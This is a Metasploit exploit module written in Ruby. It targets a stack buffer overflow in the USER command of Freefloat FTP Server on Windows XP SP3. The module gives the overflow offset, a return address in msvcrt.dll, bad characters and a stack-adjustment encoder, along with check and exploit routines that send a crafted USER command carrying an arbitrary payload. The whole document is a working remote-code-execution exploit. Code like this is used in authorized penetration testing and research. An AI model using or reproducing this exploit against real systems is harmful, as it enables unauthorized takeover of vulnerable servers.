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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'			 => 'Free Float FTP Server USER Command Buffer Overflow',
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      'Description'	 => %q{
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          Freefloat FTP Server is prone to an overflow condition. It
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        fails to properly sanitize user-supplied input resulting in a
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        stack-based buffer overflow. With a specially crafted 'USER'
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        command, a remote attacker can potentially have an unspecified
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        impact.
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      },
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      'Platform'		 => 'win',
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      'Author'		 =>
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        [
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          'D35m0nd142', # Original exploit
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          'Doug Prostko <dougtko[at]gmail.com>' # MSF module
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        ],
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      'License'		 => MSF_LICENSE,
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      'References'	 =>
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        [
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          [ 'OSVDB', '69621'],
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          [ 'EDB', '23243']
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        ],
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      'Privileged'	 => false,
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      'Payload'		 =>
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        {
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          'Space'          => 444,
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          'DisableNops'    => true,
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          'BadChars'       => "\x00\x0a\x0d",
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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        },
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      'Targets'		=>
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        [
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          [ 'FreeFloat / Windows XP SP3',
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            {
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              'Ret' => 0x77c35459 , # push esp; ret - mscvrt.dll
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              'Offset'   => 230
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            }
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          ],
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        ],
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      'DefaultTarget' => 0,
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      'DisclosureDate' => '2012-06-12'))
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  end
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  def check
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    connect
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    disconnect
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    if (banner =~ /FreeFloat/)
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      # Software is never updated, so if you run this you're f*cked.
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      return Exploit::CheckCode::Vulnerable
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def exploit
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    connect
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    buf = rand_text(target['Offset'])
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    buf << [ target['Ret'] ].pack('V')
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    buf << rand_text(8)
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    buf << payload.encoded
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    send_user(buf)
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    disconnect
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  end
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end
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